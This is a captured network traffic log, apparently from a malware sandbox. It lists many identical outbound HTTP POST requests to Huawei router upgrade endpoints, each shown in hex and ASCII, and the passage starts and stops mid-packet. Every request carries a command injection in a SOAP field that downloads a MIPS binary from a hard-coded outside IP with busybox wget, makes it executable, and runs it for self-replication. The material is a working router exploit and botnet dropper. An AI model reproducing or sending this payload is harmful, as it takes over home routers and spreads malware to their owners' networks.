44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Feb 12, 2024 19:19:19.924772024 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:20.561738014 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:21.841680050 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:24.561621904 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:29.681432962 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:39.921205997 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:20:00.912604094 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:20:41.871416092 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Feb 12, 2024 19:19:22.213857889 CET	836	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 